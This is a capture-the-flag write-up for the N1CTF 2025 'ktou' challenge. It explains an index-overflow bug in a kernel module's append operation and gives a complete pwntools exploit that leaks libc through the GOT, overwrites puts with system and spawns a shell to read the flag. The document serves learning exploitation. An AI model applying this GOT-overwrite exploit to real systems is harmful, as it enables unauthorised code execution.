Post

ktou, N1CTF 2025

ktou, N1CTF 2025

ktou

I have done this challenge with LeG.

Handout

We are given these files:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ tree .
.
├── bzImage
├── ktou.ko
├── rootfs.img
└── run.sh

1 directory, 4 files
$ file *          
bzImage:    Linux kernel x86 boot executable bzImage, version 6.2.11 (root@elegy) #1 SMP PREEMPT_DYNAMIC Thu Oct 30 07:00:05 UTC 2025, RO-rootFS, swap_dev 0XB, Normal VGA
ktou.ko:    ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=1f80760957440e37882340710e293b1f78fc9dba, not stripped
rootfs.img: Linux rev 1.0 ext4 filesystem data, UUID=f2c5aaf0-3441-467d-a625-ac323e1b5f02 (extents) (64bit) (large files) (huge files)
run.sh:     Bourne-Again shell script, ASCII text executable

First analysis

Let’s first try to run the challenge with the run.sh script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ ./run.sh
[    5.254713] fail to initialize ptp_kvm

Boot took 10.42 seconds

Successfully connected to kernel module
Program description initialized:
  Description : Default Program Description
  Description size: 0x200
  Magic: 0xDEADBEEF

=== Welcome to ktou, now start your interaction. ===
1. Read
2. Write
3. Append
4. Show program description
5. Update program description
6. Show menu
0. Exit
Please select an option: 
> 1

=== Program Description ===
Magic: 0xDEADBEEF
Description content: 
Default Program Description
===========================
Index (1-15): 4
Size (1-255): 45
Content: 

Let’s try to understand how the program works. First of all, let’s have a look at the run.sh file:

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash
qemu-system-x86_64 \
    -m 256M \
    -cpu kvm64,+smep,+smap \
    -smp cores=2,threads=2 \
    -kernel bzImage \
    -hda ./rootfs.img \
    -nographic \
    -monitor /dev/null \
    -snapshot \
    -append "console=ttyS0 root=/dev/sda rw rdinit=/sbin/init kaslr pti=on quiet oops=panic panic=1" \
    -drive file=flag,if=virtio,format=raw,readonly=on \
    -no-reboot

We don’t see which binary is launched at boot, so let’s mount the rootfs.img file to see its contents. There is the file etc/init.d/rcS that is executed at startup:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$ cat etc/init.d/rcS
#!/bin/sh
chown -R root:root /
chmod 700 /root
chown -R ctf:ctf /home/ctf

mount -t proc none /proc
mount -t sysfs none /sys
mount -t tmpfs tmpfs /tmp
mkdir /dev/pts
mount -t devpts devpts /dev/pts

echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict

insmod /root/ktou.ko

chmod 666 /dev/ktou_dev
chmod 666 /root/user

echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
cp /root/user /home/ctf/user 
chmod 777 /home/ctf/user
chmod 444 /home/ctf/flag

cd /home/ctf
setsid cttyhack su ctf -c /home/ctf/user
# setsid cttyhack setuidgid 100 sh
poweroff -d 0  -f

We note three interesting things here:

  • The ktou.ko module is loaded at boot with insmod /root/ktou.ko
  • The flag file is readable by the ctf user
  • The binary /home/ctf/user is executed at the start of the system, which is copied from /root/user. This binary is probably the one that implements the menu we saw before.

Let’s copy it into our own filesystem and open it with Ghidra.

main_user

We can see that it opens our kernel module with open("/dev/ktou_dev", 2) and then passes the result fd to the various functions. Therefore we will need to focus on understanding the program’s behavior and how it interacts with the kernel module.

Understanding the interactions

The user program allows us to:

  • Read a chunk at an index (1 to 15) of size (1 to 255)
  • Write a chunk at an index (1 to 15) of size (1 to 255)
  • Append data to a chunk at an index (1 to 15) of size (1 to 255)
  • Show the program description
  • Update the program description

However, all chunks are stored in the kernel module, so the program needs to interact with it to read and write them. Let’s have a look at the kernel module code.

device_module

It uses _copy_from_user and _copy_to_user functions to interact with the user program. But the user program uses a specific structure to inform the module about what to do. It will send a 32-bit value that will look like this:

info_transfer

In order to send this value, the user program will use the ioctl function. Here is an example from the read_option function:

read_option

So let’s say for example I want to read 15 bytes at index 4, the user program will create the value 15 | 4 << 8 | 0x1000000 = 0x100040f and will send it to the kernel module with ioctl. The module will then receive this value:

read_module

It will retrieve the action using from_user >> 0x18 & 0xff = 1 (read), the index using (from_user >> 8) & 0xff = 4 and the size using from_user & 0xff = 15. Then it will read some data from the block memory_pool with the index and the size given, and then send it to the user.

Let’s see all the different interactions possible between the user program and the kernel module:

module_user_interactions

With that scheme, we can now understand how the description is saved:

  • At the start of the program, the description is initialized with a default value. In the chunk at index 0, the pointer to the description is saved, with the value 0xdeadbeef after it.
  • When the user wants to read the description, the program will read the pointer at index 0.
  • When the user wants to update the description, the program will write the new description at the pointer stored at index 0.

Therefore, if we are able to overwrite the pointer at index 0, we will obtain arbitrary write and read primitives. Let’s see if we can do that.

Exploitation

The program in user-space checks our input, so we cannot directly decide to write at index 0. But if we look at the kernel module code, there is an issue in how the append operation is handled: Imagine we have already written 0x100 bytes, so write=0x100. If we now try to append at index 15 with a size of 0xff, the user binary will send 0x300fff to the kernel module. The module will then compute sum_user_var = write + from_user = 0x100 + 0x300fff = 0x3010ff. Then it will check if (write & 0xff) + (from_user & 0xff) < 0x101 which is the case as (0x100 & 0xff) + (0xff & 0xff) = 0 + 0xff < 0x101. Therefore, the append operation will be allowed. The kernel module will try to retrieve the index by doing sum_user_var & 0xf00 which will give 0x3010ff & 0xf00 = 0x0, and the size with sum_user_var & 0xff which will give 0x3010ff & 0xff = 0xff. Therefore, we can write 0xff bytes at index 0, even if the user program does not allow it.

Since the user program is not PIE and uses Partial RELRO, we can easily leak a libc address by reading for example the GOT entry for puts. With that leak, we can determine the libc base address, get the system function address and overwrite the puts GOT entry with it. Finally, we can read an index that contains the string /bin/sh to get a shell, as puts is used on our chunk in this function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *
import base64

context.log_level = 'info'

p = process("./run.sh")
#p = remote("60.205.163.215",53980)

def read(index, size):
    p.sendlineafter(b"> ", b"1")
    p.sendlineafter(b"Index (1-15): ", index)
    p.sendlineafter(b"Size (1-255): ", size)

def write(index, size, data):
    p.sendlineafter(b"> ", b"2")
    p.sendlineafter(b"Index (1-15): ", index)
    p.sendlineafter(b"Size (1-255): ", size)
    p.sendlineafter(b": \r\n", data)


def append(index, size, data):
    p.sendlineafter(b"> ", b"3")
    p.sendlineafter(b"Index (1-15): ", index)
    p.sendlineafter(b"Size (1-255): ", size)
    p.sendlineafter(b": \r\n", data)
    
    
def show_program():
    p.sendlineafter(b"> ", b"4")

def update_program_description(desc):
    p.sendlineafter(b"> ", b"5")
    p.sendlineafter(b"Enter new program description:", desc)

def show_menu():
    p.sendlineafter(b"> ", b"6")

def exit_program():
    p.sendlineafter(b"> ", b"0")

def get_b64(data):
    return base64.b64encode(data)


FILE = "user"
elf = ELF(FILE, checksec=False)
libc = ELF("libc.so.6", checksec=False)
puts_got = elf.got['puts']



# init already writes 0x10
# 256 - 16 = 240
bin_sh_str = b"/bin/sh\x00"
write(b"1", b"240", bin_sh_str + b"A"*(240 - len(bin_sh_str)))
append(b"15", b"8", p64(puts_got))



show_program()



p.recvuntil(b"Description content: \r\n")
d = p.recvuntil(b"===")
print(d.hex())
first_addr = d[0:8]
puts_addr = u64(first_addr.ljust(8, b"\x00"))
log.info(f"puts addr: {hex(puts_addr)}")

libc_base = puts_addr - libc.symbols['puts']
log.info(f"libc base: {hex(libc_base)}")
system_address = libc_base + libc.symbols['system']
log.info(f"system addr: {hex(system_address)}")


to_send = get_b64(p64(system_address))
update_program_description(to_send)

read(b"1", b"255")



p.interactive()

And we get a shell!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ python3 solve.py
[+] Starting local process './run.sh': pid 541816
503ebdfa387f00007078c6fa387f000080104000000000009010400000000000f036bbfa387f0000607fc1fa387f000010d9c6fa387f0000d010400000000000d0d
[*] puts addr: 0x7f38fabd3e50
[*] libc base: 0x7f38fab53000
[*] system addr: 0x7f38faba3d70
[*] Switching to interactive mode
255
Content: ~ $ $ ls
ls
flag  user\x1b[$    m
~ $ $ cat flag
cat flag
flag{a2691ca7-d9c5-49f1-8750-e879eff89661}

Conclusion

This was the first time I had to deal with a kernel module, but this challenge was not a kernel exploitation challenge, as the module only contains a vulnerability that leads to an exploit in user-space. This is why the flag file is readable by the ctf user. However, I still learned a lot about how kernel modules work and how user programs can interact with them.

This post is licensed under CC BY 4.0 by the author.